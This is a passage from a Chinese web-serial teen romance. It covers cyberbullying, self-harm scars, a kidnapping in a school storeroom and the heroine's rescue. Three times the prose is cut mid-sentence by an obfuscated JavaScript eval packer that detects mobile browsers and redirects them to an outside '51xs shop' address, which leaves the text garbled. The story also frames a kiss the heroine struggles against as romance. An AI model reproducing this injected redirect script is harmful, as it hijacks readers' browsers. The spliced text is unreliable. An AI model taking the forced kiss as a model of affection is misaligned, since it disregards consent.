谁家死了人,对当事人来说,是极为痛心疾首之事,但对旁观者来说,不过是新闻一则,他们负责吃瓜就好。 但她有点想不明白,这两件事可以将他卷入舆论中心,但为什么要霸凌他? 驰路问:“他们凭什么霸凌你?” “你也知道,话一旦被传出去,就会变样。那会儿,外面都在传,我爸把我妈杀了,我爸是杀人犯,我是杀人犯的儿子,不要跟杀人犯的儿子同流合污。” 驰路格外明白人言可畏的威力,它可以把你置身于无法翻盘的困境。 “你那会儿过得也很辛苦吧。” “都过去了。”谢劲舟说得轻飘飘,如一缕烟。 但这些伤害他的过往,是他内心深处的疤痕,时不时会在无人的深夜冒出头,触发他的躁郁症。 他厌恶霸凌别人的人,所以,即使他成了混混,也从不主动惹别人,也很少动手。 他有他的规则和方圆,该出手时绝不退后,该退后时绝不冒进。 进退有度,规则清晰,是他给自己定的标准。 驰路不太相信谢劲舟会打断谢鸿运的腿,在这里差不多五个月的时间里,她见过好几次谢劲舟跟谢鸿运发生冲突,他们会吵架、会打架,但每次都是谢鸿运主动动手,他才会反抗。只要谢鸿运不挑事,他能避则避。 就算是谢鸿运间接导致了林寒梅的离开,但谢劲舟有什么理由打断他的腿?何况他也跟自己说,很自责是他拿来水果刀,如果不是他拿来水果刀,林寒梅也不会去世。 驰路看他:“你爸的腿,不是你打断的吧。” 谢劲舟将烟摁灭在烟灰缸里,又拿出一根烟抽起来。 吞云吐雾中,整个人像活在一场虚幻中。 驰路看着他被烟雾笼罩的侧影,烟雾缓缓升腾,从他菲薄的唇,攀升到他高挺的鼻梁、深邃的眼眸、雾霾蓝的头发、右侧脑袋旁那道醒目的X,他帅得那么过分,怪不得那么多女生倾心于他。 驰路的心不由得一动,宛若被人拉动心弦。 谢劲舟盯着桌前那杯冒着热气的水杯:“算是。” 说完,他拿起水杯递给驰路:“喝点水。” 这人,真是不忘“要给感冒的人多喝水”的人生名言啊! 驰路心头升起一丝暖意,接过水杯喝了一口。 她刚想把杯子放到桌上,听到谢劲舟说:“多喝点。” 驰路的手又收了回来,乖乖地喝了半杯,再看谢劲舟时,他的脸上似乎流露出一种“这样才乖”的神情。 他这怕不是,对自己跟对谢林乔一样吧,在别人脆弱时,当起了谢家长。 “我不信你会那样做。” “随你,事实你也看到了。” “我又没看到你打你爸,我只是看到他腿坡了,这不是事实。” 谢劲舟看着驰路较真的模样,不禁扯起嘴角:“好了,这些都不重要,现在最重要的是,你去休息,好好睡一觉,感冒才能早点好。” 对于她人生的第三次转折,他怀揣好奇,但没再问,她光说千允的事,就已经耗了她太多情绪,她该好好休息。 如果有机会,下次再问吧。 “好。”驰路见谢劲舟并没有要走的意思,推了他一下,“那你走啊。” “我走?”谢劲舟看她,“该走的人是你吧。” 还没等驰路反应过来,谢劲舟叼着烟,一把将她打横抱起,径自朝卧室走去。 “谢劲舟,你干吗!”驰路瞪他。 “睡觉。” …… * 谢劲舟将驰路放到床上,力道有点大,弹簧床垫弹了几下。 驰路被弹得有点不舒服,抬头睨他:“谢劲舟,你能不能轻点?” “驰路,我从没对一个人这么温柔。” “……”驰路朝他翻了个白眼,心想,那你平时对别人是有多暴力! “你就睡这儿。”谢劲舟刚想出去给她拿带过来的包,余光瞥见她露出来的脚踝,上面是酒红色的文身,有两根交叉缠绕的细线,上面有一串好看的字母,旁边还有一只飞舞的小小蝴蝶。 她曾告诉他,这串看不懂的字母是Ελευθερ?α,是希腊语中的自由。 她应该曾试过想在废墟中寻找自由,想在无尽的天际做一只自由的蝴蝶吧。 可现在呢,她又成了那只被废墟掩埋的蝴蝶,被人折断了翅膀,飞不去高空,只能无力地被动地迎接现实的风暴。 这串文身上,除了隐约可见凸起的旧伤痕,覆盖在上面的是泛红的伤口,有的地方结出一点痂。 谢劲舟轻轻摸了下这文身,触碰到的一瞬,驰路很快收回脚,眼神有些慌乱。 她不想让谢劲舟看到自己的伤痕,这些伤痕又新鲜又丑陋。 “阿驰,不要掐脚踝了,也不要扯头发了,自/残没用,到头来,伤害的还是自己。”谢劲舟抓过她的脚踝,摸着覆在文身上新鲜的伤口,“要是那些嘲讽你、诋毁你的人,看到这些,只会笑你蠢、笑你笨,有谁会心疼你吗?不会!但,我会心疼!” 天地晦暗,但只要神明在,潮来潮涌的暗夜就会消失,她也会重新做回那只自由飞舞的燕尾蝶。 * 驰路在静心小屋待了两天,谢劲舟细心地给她喂药,没有一次落过,她的烧退了。 谢劲舟会趁着她身体不错带着她爬山,爬到山顶俯瞰山野,看静心湖盘踞山腰,阳光下,宛若银色绸带,看飞鸟栖息枯枝,又奋力飞向天空,看晚霞、看日落…… 她晚上难得睡得安稳,因为谢劲舟每晚都陪在他身边。 这样的场景,前几日,驰路想过无数次,她多希望谢劲舟陪着自己。 她尝试着独自闭上眼入眠,但这些天发生的事和曾经的过往统统交织在一起,将她吞噬。 驰路不得不猛然下床,顾不上穿鞋,赤脚走在冰凉的地板上,去客厅找谢劲舟。 客厅关了灯,一片漆黑,夜晚沉寂,月色透过窗户洒进来些许光亮,照在谢劲舟的脸上。 驰路走到他身边,见他没动静,轻声喊他:“舟哥。”见没应答,又喊:“谢劲舟。” 他还是没应,驰路不得不摇着他的手臂喊“谢劲舟”。 “干吗?”谢劲舟终于睁眼,语气慵慵懒懒。 深邃的眼眸,在夜色中显得越发深沉、迷人。 此刻的驰路已被感性淹没,一下趴到他的胸口,像只小猫似的来回蹭着,软言软语地说:“我睡不着。” 谢劲舟看着在自己怀里蹭来蹭去的驰路,揉着她的脑袋问:“你要我做什么?” “我要跟你一起睡。”驰路说完钻进被窝,扯过被子,背对着他。 谢劲舟愣住,没料到这姑娘竟然胆子这么肥,之前是梦游爬到他床上,现在是明目张胆往他被窝里钻,就这么放心他? “驰路,你这么招惹我,就不怕我对你做点什么。”谢劲舟感受到她玲珑的身体曲线,身体不自觉地升温。 驰路干脆转过身,撑着半边脸颊,看着谢劲舟:“舟哥,我是个病人,你想把我怎么样。” “是你先招惹我的。”谢劲舟边说边一把将她捞过来,胸前被她的柔软抵住,激发他原始欲望,他望了眼她的潋滟眼眸,凑近她,含住她性感的唇,狠狠碾磨,继而敲开牙关,侵略她的领地。 彼此的气息缠绕,越发浓烈,像珍藏多年的烈酒。 驰路没想到谢劲舟会这样,在他怀里挣扎着,想挣脱,却被他搂得更紧,两人的身体几乎无缝相贴。 他像只捕食的野兽,啃咬着她的舌头,在她的唇齿间横冲直撞,几乎跟之前的每一次亲吻都一样。 驰路心跳加快,血液沸腾,身体的每颗细胞都被酥麻感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560790|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫过。 “舟哥……我……”驰路想说的话被谢劲舟的吻湮灭。 他的手从她的腰际往上移,抚过她的脊背、肩胛骨、脖颈,再到她的后脑勺,拇指还在摸着她敏感的耳垂。 这次的吻跟之前的一样,却又不一样。 来势凶猛,却又有一种说不上来的温柔,仿佛带着刻骨的爱意。 所有的呼吸都被他吞噬,驰路几乎快无法呼吸,唇齿间全是他汹涌的掠夺。 驰路双手撑住谢劲舟的胸膛,使出全身力气,将他一把推开,睁眼看他时,眼里似有潋滟水雾,如下雨时的湖面,波光粼粼。 “谢劲舟,你为什么要这样?就不怕我把感冒传给你?” “感冒算什么!老子会在意?”谢劲舟托着她后脑勺的手移到她的脸颊,轻抚着她右眼尾的胭脂痣说,“老子就想亲你。” “呵。”驰路嗤笑一声,“你是不是对其他女生都这样,才会让她们对你前仆后继?” “不,我只对你这样!”谢劲舟的手渐渐往下移,移到她泛着水光的唇瓣上,一下一下地摸着、戳着,像在摸一块软糯的棉花糖。 驰路一撇头,错开他的手指,他的指腹擦过她的脸颊,袭上属于他的温度,滚烫、灼人,宛若他方才势如破竹的吻。 “谢劲舟,我们这样算什么?”驰路盯着他被月光映亮的眼眸。 “你希望是什么?”谢劲舟的手指又落到她的唇上,揉着她饱满的下嘴唇,再移到她上嘴唇的唇珠上,却一直牢牢地看着她的眼睛。 谢劲舟镇定自若,看不出有异样情绪,殊不知,心头炸开束束火焰,血液奔腾,如翻涌的江海湖川。 驰路定定地望着他,难言情愫梗在胸口。 她希望是什么? 她能有希望吗?希望他们是好友,还是捅破那层若有似无的窗户纸? 她想过,就算他们在一起,也不会有结果,也想过就算他们短暂在一起,也会是她人生旅途中一段难忘记忆。 到底该怎么做?她曾想过顺其自然,该怎样就怎样。 但现在不一样了,她是陷在舆论中心的众矢之的,她被人人厌恶、人人喊打。 她在乎谢劲舟,她喜欢谢劲舟,越是这样,内心的那个声音越是告诉她:你要跟他划分界限,你不要拖累他。 驰路知道,自己不该招惹他,不该主动来他的身边。 有时候,意识跟行动却不能达成共识,她走向他的每一步,都在给大脑传达一个讯息:我想靠近谢劲舟。 被谢劲舟这样一问,倒让驰路清醒了几分,胸口涌上阵阵难言的酸涩,一把扯过他的黑色T恤衣领,将他拉得靠近自己,在他耳边,用她觉得冷漠无情的语调说:“谢劲舟,你给我听好了,我们不会有结果,我来找你不是想让你吻我,也不是你能吻我的理由。我只是睡不着,只有在你身边,我才能睡着。如果你觉得这是我在招惹你,那我走!” “阿驰,难道你没发现吗,”谢劲舟也贴着她的耳朵说,呼出阵阵热气,“每次在我吻你时,你的身体都会主动地配合。” “……” 驰路不想跟他再说什么,从沙发上坐起来,打算起身走,却被人拦腰搂住,听到有人用沉磁的嗓音说:“阿驰,你可以不走,我陪你。” “你还会亲我吗?” “如果你同意,我会配合。” “……”驰路说,“我不同意!” “好,我就只陪你睡,什么都不做。” 驰路信了谢劲舟的话,在她睡前,他确实什么都没做,只是把她抱到房间的床上,从沙发上拿来被子,一人一床。 他真的做到了只是陪伴。 这样也好,谁都不招惹谁,只是单纯的陪伴。 待她入梦后,谢劲舟轻声说:“阿驰,我以为你已经忘记当年的小男孩了,你知道那个让你别跳的人,是我吗?” “你不知道,也挺好。” “蝴蝶终究要离开芳町镇,飞往高空的,蝴蝶值得更好的远方。” 74. 小蝴蝶遭暗算 「想要找到你,像鸟飞入丛林。 哪怕到处是荆棘,也不会放弃。 小蝴蝶,你是我活了十八年,唯一的四季。」 ——《引路星》 许婉发现,周一来上学的驰路状态明显比前几天好太多了,她会主动跟自己说话了,给她讲解数学难题时也不分神了,她的脸上露出了久违的笑容。 驰路好像又回到从前了。 只是,网上关于她是杀人犯的传闻非但没有减少,还越演越烈。 之前跟她同校的同学跟帖说,她之前是小混混,拉帮结派,欺负了很多无辜的同学;她穿着暴露,穿着短衣热裤,戴腰链、肚脐钉、脚链;她染发、漂发、抽烟、打架、去网吧……你想到的想不到的场所她都去;她勾引过好几个男生,被睡过,还被打过胎…… 一时间,关于她的各种坏言论如雪片般四起,还附带一些照片。 许婉看到了,没有像往常一样,给驰路看。 她觉得没必要了,他们爱说什么就说什么吧,就算她给驰路看了也不会对这样的现状起到一点作用,反而会让她更加痛苦。 她不想再看到她郁郁寡欢、沉默不语的样子了。 她希望,她的好朋友能开心一点。 不过,许婉看着照片上的驰路,跟现在的驰路,判若两人,照片上的驰路叼着烟、染着酒红色头发、戴着腰链、肚脐钉,身后跟着染着五颜六色头发的小混混们,俨然帮派头目。 许婉看到这样的驰路,格外震惊,但经过消化后,觉得这是过去的驰路,现在的她,已经变得这么好、这么优秀了。 浪子回头难,改邪归正也难。 驰路以前怎样她不管,她只要知道,她现在很好就行了。 那些网上似是而非的事,真真假假,她已不太去在意了,看看就好。 不过,罗子昂这个前线吃瓜群众,却把第一手情报告诉了谢劲舟,网上的议论、照片都给谢劲舟看了。 最后罗子昂总结:“舟哥,看不出来啊,驰妹以前这么猛啊!” 谢劲舟的眸子冷下去,用力地捏着手机,手背青筋暴出。 他们都瞒着驰路,江迟却是例外,不仅主动给驰路看,还安慰她说:“阿驰,我知道他们很多都是在乱说,我相信你没做过那些事。” 他的话,并没有给驰路一点安慰,驰路看到那些恶毒的言语、那些她不忍回看的老照片,激起她的愤怒。 但她伪装得很好,依然跟平时一样,朝江迟露出一个无所谓的表情,笑着说:“谢谢你,江迟,我不在乎。” 不在乎才怪!如果说千允的事只是网络欺凌的序曲,那么,现在一大波对她过往的揭穿和污蔑,才是网络欺凌的洪水猛兽。 这是谁,要将她置于死地? 她跟谁有深仇大恨吗?当年拍她照诬陷她是杀人犯的女生,还是别的谁? 深夜时分,她在纸上写下一个个名字,想用红笔圈出来,却找不到任何理由。 想到最后,思绪烦乱,无果后,躺在床上翻来覆去无法入睡。 谢劲舟不在身边的夜晚,又变得有些烦躁。 也不知烦躁了多久,一个名字忽然从脑中弹出来,江迟。 会是他吗? 不会!怎么会是他! 她怀疑自己想魔怔了,干脆戴上无线耳机,把摇滚乐开到最大,让自己的神经被音乐包围。 这晚,她好像做了一个很长很长的梦,梦里有人疯狂地吻她,边吻她边说:“驰路,你之前是不是谈过?是不是被睡过,被打过胎?” 她想回答,却发不出一点声音,所有的音节都含混于口。 她在暗夜中,似乎看到了雾霾蓝,看到了闪着微光的耳桥。 可当她醒来,她在她的床上,一切都好好的,身边谁都没有。 不过,大梦一场,梦过无痕。 但她照镜子时,却发现嘴唇有些红肿、锁骨处有散落的红紫色斑痕。 她只看一眼,就知道,这些都是被人吻过的痕迹。 这让她想起了,八月盛夏时分,她脖颈处的红紫色斑痕,大小差不多。 那会儿她没太在意,以为是蚊子的杰作。 不过,现在想想,会不会是某个人偷偷烙下的痕迹? 什么时候烙下的? 难道自己梦游到他床上,他就顺势而为了? 驰路知道,这段时间自己的情绪很不稳定,尤其到了深夜,上周自从发生了那件事后,她每天早上睁眼都会发现自己在谢劲舟的床上,但床上只有她一个人。 她会在醒来时,让自己躲进被窝里,深深吸着,想把他的气息都吸进自己的身体。 好像这样,他就在陪着自己。 驰路当什么都没发生,哪怕早上见到谢劲舟时,依然跟平时一样跟他打招呼,在他身旁坐下,坐在他的摩托车后面,被他载着去学校。 摩托车一路在学校驰骋,卷起阵阵烟尘。 即使戴着头盔,驰路仍旧能感受到那些朝他们投过来的不怀好意的眼神。 出发前,她跟谢劲舟说:“舟哥,从今天开始,你都不用带我了。” “为什么?”谢劲舟拿在手上的头盔一顿。 “如果要下地狱,我不会拉着你一起。” 谢劲舟忽然笑了,用舌尖顶了下后糟牙,再看着驰路,揉了把她的头发:“老子还怕这个吗!” “驰路,你给老子听好了,不管你去天堂,还是下地狱,老子都跟你一起!”谢劲舟的视线从她的眼眸,渐渐下移,落到她红肿的嘴唇上。 她是他的蝴蝶,他会跟着蝴蝶一起飞翔、一起坠落。 当谢劲舟走在她身旁时,没人敢在她身前或背后对她议论,她的耳根清净了不少。 原来,她的神明,还能帮她清除外面的声音。 既然他有这等能力,那就让他待在自己身边吧,越久越好。 * 快下晚自习时,下起了暴雨,驰路在这之前,听到老马说要去综合楼。 那时,还没下雨,老马这是要淋雨了吧。 谢劲舟没上晚自习,说晚上会过来接她。 她从谢劲舟的桌肚里找到了一把伞,她去综合楼找老马,却没找到他。 长长的走廊上就剩她一人,到处黑漆漆的,出来着急,没带手机,只能借着一点微光往楼梯口走。 夜晚格外静谧,雨声斜着打下来,隐约听见身后传来脚步声,几不可闻。 许是错觉吧,驰路并未放在心上,直到有人将一个黑色的东西套到她脑袋上,迅速让她的双手扭到身后,捂着她的嘴往一个地方拖。 她无法发声,被拖着往后拽,被人钳制住,几次试图想抬腿踢身后人,全被对方躲开。 对方力气之大,捂着她嘴巴的手很用力,是个男生。 为什么要这么做?他要把自己带到哪里? 她发出呜呜的声音,想说一句话,却只能蹦出一个个无法听懂的音节。 驰路知道近期不少人都把她当成仇敌,对她百般诋毁、攻击,她却从没想到,会有人公然这样对她。 她被拖到了一个地方,那人搜了搜她的身,估计在找她有没有手机,见没有,把她绑在了一个地方,撩开头套,把一团东西塞进她的嘴巴里。 驰路听到了轻轻的关门声,好像还有落锁声。 她拼命地喊着,却只能发出破碎的呜呜声,像极了刚被凌虐过的小猫咪。 原来,她以为自己的神明回来了,就有了安心之所。 但事实不是这样,到处都危机重重,她此刻便是案板上无法动弹的鱼,只能无力地挣扎。 终于挣扎累了,驰路知道没指望了,也就不动了,身体开始感知自己处在什么地方。 背后应该是一个货架,脊背抵着,有些凉。 她坐在地上,用手摸了摸地,冰凉的,铺着瓷砖。 头套是黑网的,她渐渐适应黑暗,透过细小的网孔,看到前面有些许亮光。 好像在一个杂物间。 她从没来过这里。 综合楼晚上基本没什么人,刚才这层又没人,她被绑在这里,无法发出一点声音。 她该怎么办? 一种无力感席卷而来。 轰的一声,耳边炸响惊雷,吓得她心间猛然一跳。 眼前几道闪电划过,透过网面头套,穿透她的眼睛。 她不动了,下意识地往背后的架子上靠。 好像只有贴住架子,她就能找到一点依靠。 别打雷了,别有闪电了,她把身体缩成一团,默默祈祷。 天公却依然在履行他的职责,雷电交加,越来越烈,越来越频繁。 驰路想到了之前在那个逼仄狭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13560791|142700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小房间里的痛苦记忆,也是雷电交加的夜晚,暴雨如注,敲打在窗户上的雨声,像恶魔,似要击穿她身体的每个要害,将她一片一片撕碎。 她的身体开始不受控制地打颤,牙齿在哆嗦,浑身的每个细胞都在叫嚣奔腾,告诉她:你看,你还是那个被人践踏的、无力挣脱牢笼的可怜虫。 她以为自己有了翅膀,以为自己可以飞翔,哪怕在这个没有父母可依的地方,她靠着自己的力量,可以完成自渡。 但不是,不管她在蓝城,还是在芳町镇,她都是那个可以被人困住的囚徒。 谁能来救救她? 这个黑暗,注定漫长。 * 东郊的摩托车行,谢劲舟终于将一辆红色摩托车修好了。 “小谢,这次多亏你了啊,终于把我的宝贝修好了。”杜浩上前拍了拍谢劲舟的肩。 “浩哥,应该的。”谢劲舟摘下手套,放到一边的桌前,正要往外走,听到杜浩说:“正下雨,还不小,你就别走了,睡这儿。” 谢劲舟往外走,雨势越来越大,雷声轰隆,闪电一下下从夜空劈下。 怎么能不走呢,他说了,放晚自习要去接他的蝴蝶。 谢劲舟转身跟杜浩说:“谢谢浩哥,我回去还有事。” “有什么事啊?”这时,传来一个女声,接着,从里间走出来一个穿着很飒的长直发女生,是苏漾。 苏漾调侃道:“不会是回去见你家阿驰吧。” 谢劲舟没有隐瞒:“我答应她要去接她。” 苏漾看了看杜浩:“浩哥,那咱们就不用留他了,追女生阶段,都需要主动些的。” 他算在追驰路? 没有。 甚至连一点心意都没表露。 谢劲舟没作解释,跟他们告别后,开着他的深蓝色摩托车驰骋在雨中,加足马力,开往芳町三中。 到教室时,住宿生都已下晚自习了,教室关了灯。 驰路不在。 谢劲舟一路跑上来的,他以为驰路会等他,等他来接她,没想到她先回去了。 他关了教室门,靠在墙上,望着瓢泼大雨,心里袭上一丝失落。 转而又想,她回家时,也许还没下雨、打雷、有闪电吧,这样她回去的路上就不会害怕了。 谢劲舟又开着摩托车回去了,照例在快开到栾花巷32号时,停下来,推着摩托车往家走。 此时的芳町镇陷入寂静中,各家各户都熄了灯,栾花巷32号应该不会,驰路房间的灯会一直亮到深夜一点半,这是他在网吧兼职调整时间后到家的时间。 他不知道她是在刷题,还是在等他。 但看到那盏灯,谢劲舟那冰冷的心像照进了一枚月亮。 谢劲舟打开院墙门,照例先抬头看二楼左侧那个阳台,一片漆黑,阳台上晾着的衣服随风飘荡,有那件黑丝绒睡衣。 在静心小屋那晚在沙发上抱着她时,她穿的就是这件。 她睡了?但如果睡了,为什么不收阳台上的衣服? 一丝不好的预感划过心头。 谢劲舟没把摩托车推进车棚,而是第一时间跑上楼,先敲了敲驰路的房门,没人应,再打开,屋里黑漆漆的,借着外面的光,看到床上的被子叠得整齐,却没人。 谢劲舟握着门把的手渐渐收紧,眸子暗沉下去。 他拿出手机给驰路打电话,手机那头传来嘟嘟声,响了十几声后,传来机械的女声,再打过去,依然无人接通。 这么晚了,她为什么不在房间?她会去哪里? 谢劲舟的心脏忽然猛烈跳动两下,不好的预感深深地笼罩着他。 她能去哪里?去霓虹酒吧? 不会,明天还要上学,她不可能这么晚去酒吧,其他的地方她也基本不会去。 谢劲舟思来想去,回到学校,先去了教室,开了灯,教室里空无一人。 他在驰路的桌肚里找到了她的手机,摁了下按键,屏幕上显示有几条未读信息和十几通未接来电。 每一通未接来电都来自【a谢劲舟】。 每一条信息都来自【梁医生】。 这么晚了,梁清安找她做什么? 驰路的手机在这里,但她去哪里了? 谢劲舟额头上的青筋突突跳动着,不好的预感越发强烈。 她会不会出什么事了? 75. 一身傲骨被人碾碎 「我要成为一棵屹立不倒的树、一朵傲然绽放的玫瑰。 我要生出新的枝丫、开出新的花。 我要让每一根脆弱的骨骼,都变成坚硬的盔甲。 我要我快乐至上。 我要我能有跟恐惧抗衡的力量。 我要做无坚不摧的自己。 要顶天立地,要自由呼吸,要成为自己的高山和风景。」 ——《小蝴蝶的日落》 谢劲舟开始从这层找,每个教室都看、每个卫生间也去找,一层一层地找,哪里都没有驰路。 谢劲舟站在一层的过道上,雨还在下,斜斜地飘落在他身上。 迷蒙雨雾中,他的心冷下去,仿若被冰雪冻住。 驰路,你会在哪里? 一个念头冒出,他拿出手机给罗子昂打电话,问他驰路有没有上晚自习,晚自习时有没有去哪里。 罗子昂听着谢劲舟一连串的问话,觉得事情不妙:“舟哥,驰妹不会不见了吧?” “快说!”谢劲舟几乎没有一点耐心。 “她说要去综合楼给老马送伞,晚自习结束后也没见她回来。” 罗子昂刚说完,电话便被谢劲舟挂断了。 “舟哥啊舟哥,你完了!”罗子昂看着屏幕,边摇头边感慨。 谢劲舟挂了电话,立刻给老马打电话,打了四五个对方才接通,老马声音哑哑的,一听便知还没睡醒。 “谁啊!” “马老师,我谢劲舟。”谢劲舟言简意赅道,“晚自习,驰路有没有去综合楼给你送伞?” “没啊。”老马打了个哈欠,“怎么了?” “没什么。”谢劲舟不想让老马担心,没说出实情,留下一头雾水的老马。 老马做啥事、想啥事都比别人慢几拍,他没往别的方向想,继续睡他的觉。 谢劲舟疾步迈入雨帘中,朝综合楼狂奔而去,地面积了水,踏一步溅起水花。 他没穿雨衣、没打伞,早已在来学校的路上成了落汤鸡,此刻更是被大雨浇灌,眼睫上挂着雨水,眼前的一切都被雨覆盖着,天地间雾蒙蒙的,像被罩上了一层毛玻璃。 谢劲舟从综合楼的一层开始找,一间一间教室地找,一层楼一层楼地找,每个地方都不放过。 综合楼一共六层,他找了五层,每层都是空的,他的心一点一点地往下沉。 他快要疯了! 谢劲舟往六层走时,跨楼梯时,是一脚跨三步,恨不得一下便能到六层。 到了六层,谢劲舟忽然有些泄气,方才所有的找寻都是一场空,那种深深的无力感将他裹挟。 他抬手狠狠地朝墙上砸去,一下一下地砸,疼痛越发强烈,手背上渗出血迹。 他把他的蝴蝶弄丢了。 如果他能赶在下晚自习前过来多好,如果他能将她平安送到家多好! 是不是有人搞她了? 这股不好的预感越发强烈。 想搞她的人会把她带去哪里? 他要尽快找到驰路! 谢劲舟看着白色墙壁上的血迹,不再伤害自己。 现在还不能这样,他要振作起来! 谢劲舟拖着沉重的步子想往左手边走,忽然听到“啊”的声音,吓得他立刻停住脚步。 他侧耳倾听,只有雨声,方才的声音是不是他的错觉。 他刚往左手边走去两步,又听到“啊”的声音,凄厉的、尖锐的、似有若无的,划过耳膜。 声音来自后面,谢劲舟连忙转身朝身后跑去,接连跑过几间教室,最后在一个贴着“实验储藏室”的教室前停住。 谢劲舟贴着门,听不见里面有任何动静。 “驰路,驰路……”谢劲舟边敲门边喊着驰路的名字。 他听到里面传来东西的撞击声,听到有人发出的呜呜声。 里面有人! 谢劲舟疯了一样地抬腿踹门,在他用力踹了几下后,门有些松动,却没有打开的迹象。 他往后退,推到栏杆处,使劲全身力气,抬脚用力一踹,门终于被踹开。 谢劲舟如箭般冲进去。 他不知道,楼梯口的墙后躲着一个人,看着他冲进去。 * 室内黑漆漆的,唯有从窗户透出些许光。 谢劲舟猛然进入黑暗中,一时有点不适应,他扫视一圈,没看到人。 “驰路!”谢劲舟喊着。 呜呜呜的声音再度响起,沉默的、呜咽的,仿佛被丢弃的可怜小猫发出的。 谢劲舟往前走了两步,腿忽然贴住了什么,有什么在蹭着他的腿。 他先是吓了一跳,再低头去看,看到一个黑乎乎的脑袋,正可怜兮兮地蹭他的腿,嘴里还在发出呜呜声,仿佛在跟他说:“舟哥,快救救我!” 借着透进窗里的光,从她的身形、衣着,谢劲舟辨出了她就是驰路。 谢劲舟离开蹲下身,扯开她头上的黑色头套,瞬间看到了一双破碎不堪的眼睛,和一张遍布眼泪的脸庞。 她的嘴巴里被塞着一团布,眼睛里全是泪水,宛若被暴雨打湿的蝴蝶,无助地躺在地上,任由暴雨侵袭。 他的蝴蝶,一身傲骨被人碾碎,可怜得让他心疼。 谢劲舟一把拿掉她嘴里里的布,又帮她解开手上的绳子。 他边擦着她的脸边轻声安慰:“阿驰,没事了,我来了!” “舟哥。”驰路的声音哑得厉害,她一把将他抱住,控制不住地第一次在他面前放声大哭。 谢劲舟轻轻地拍着她的背,感到她的身体在发着颤。 她的每一次哭泣,都像一把刀一下下朝他的心口狠狠插去。 驰路从来不会在任何一个人面前示弱,她不喜欢跟谁袒露自己的脆弱,她总喜欢把自己打造成一个天不怕地不怕、谁都伤害不到我的铜墙铁壁般的角色。 安然之前跟她说:“阿驰,你没必要这样逞强。” 梁清安跟她说过:“阿驰,难过了,可以告诉我。” 她轻易不跟谁说自己的难处,更不会在谁的面前轻易掉眼泪。 但她一次次在谢劲舟面前失控,一次次将自己的脆弱呈现在他面前。 假如她是风中摇曳的蝴蝶,他就是她想停靠的彼岸。 只要在他的世界停靠,世上所有的风暴,都会停歇。 “阿驰,告诉我,是谁做的!”谢劲舟推开驰路,看到她红肿的眼睛和满是泪水的脸,抬起指腹,温柔地帮她擦着泪水,声音从方才的柔软变得狠戾,“要是让老子知道是谁干的,看老子不弄死他!” * 那晚,谢劲舟把驰路带回了栾花巷32 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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被关在小黑屋时,驰路想过最坏的结果,几天都不会有人发现她,她会被活活饿死。 好在,她的神明来了,救她于黑暗之中。 她这个被世界遗弃的人,也不是没人不关心她、没人不在乎她。 至少,她还有谢劲舟。 她会抓住这点光,哪怕不长久。 …… 从浴室出来,驰路开门进房间,看到谢劲舟还在,这次难得地没有赶他走。 她手上的毛巾被谢劲舟接过,他帮她擦头发,帮她吹头发,又抱她去床上,帮她盖被子,掖好被角。 他把自己能做的,都为她做好。 驰路被他照顾得像个孩子,心间的痛楚一点点被抹掉,照进来一束光,暖暖地照着她那颗沉入谷底的心。 谢劲舟刚转身要走,驰路拽住了他的手腕:“舟哥,留下来陪我!” 谢劲舟转身看驰路,看到她红肿的眼睛,知道她刚才洗澡时应该又哭了。 他蹲下身摸了摸她右眼尾的那颗胭脂痣:“确定?” 在静心小屋时,她深夜躲进他的被窝,他还能理解,毕竟就他俩,但在这里不一样,谢林乔在、谢奶奶也在,谢鸿运也许会回来。 驰路拽着他的手腕紧了紧,点点头:“谢劲舟,我要你陪我。” 76. 小蝴蝶的第二次转折 「终于,找到我的蝴蝶了。 没有什么比这个更让我欢喜。 没想到你经历过那么多黑暗时刻。 小蝴蝶,以后,我会好好守护你,不让你受委屈。」 ——《引路星》 谢劲舟跟在静心小屋时一样,想去自己房间拿被子,驰路却坐起来,掀开被子,一把将他拽进来:“舟哥,不用去拿,我要你靠着我。” 驰路不仅让他靠着她,还像她梦游时睡到他身边一样,手脚都缠着他,只是比之前的要紧,生怕他要离开一样。 外面的雨还在下,时不时依然会响起雷声,一打雷,驰路就往谢劲舟怀里钻。 谢劲舟抚摸着她的背:“阿驰,你是不是很怕打雷?” “舟哥,我刚被关在小黑屋时,那些雷声、闪电都像是魔鬼,像要把我拆吞入腹。”驰路闻着属于谢劲舟身上熟悉的皂香,“我很怕一个人待在黑暗的空间里,尤其是这个空间里有雷声和闪电。” 驰路停顿下来,谢劲舟看着她含着伤心和害怕的眼睛,摸摸她的脑袋:“有些事,说出来可能会好些。” “我之前被强迫住进了精神病院。”驰路撇过眼,目光有些空洞地盯着某处,“那是我人生的第二次转折。” “初三那年,千允事情发生后,所有人的生活都归位了,但我的生活却乱套了。” “我每晚都会被梦魇缠绕,每晚会梦见小学时被人欺凌的场景,也会梦见千允在我眼前坠地的画面,我晚上睡不着,白天不想睡,精力很差,脾气很大,动不动就对我的朋友们、我的家人们发脾气。” 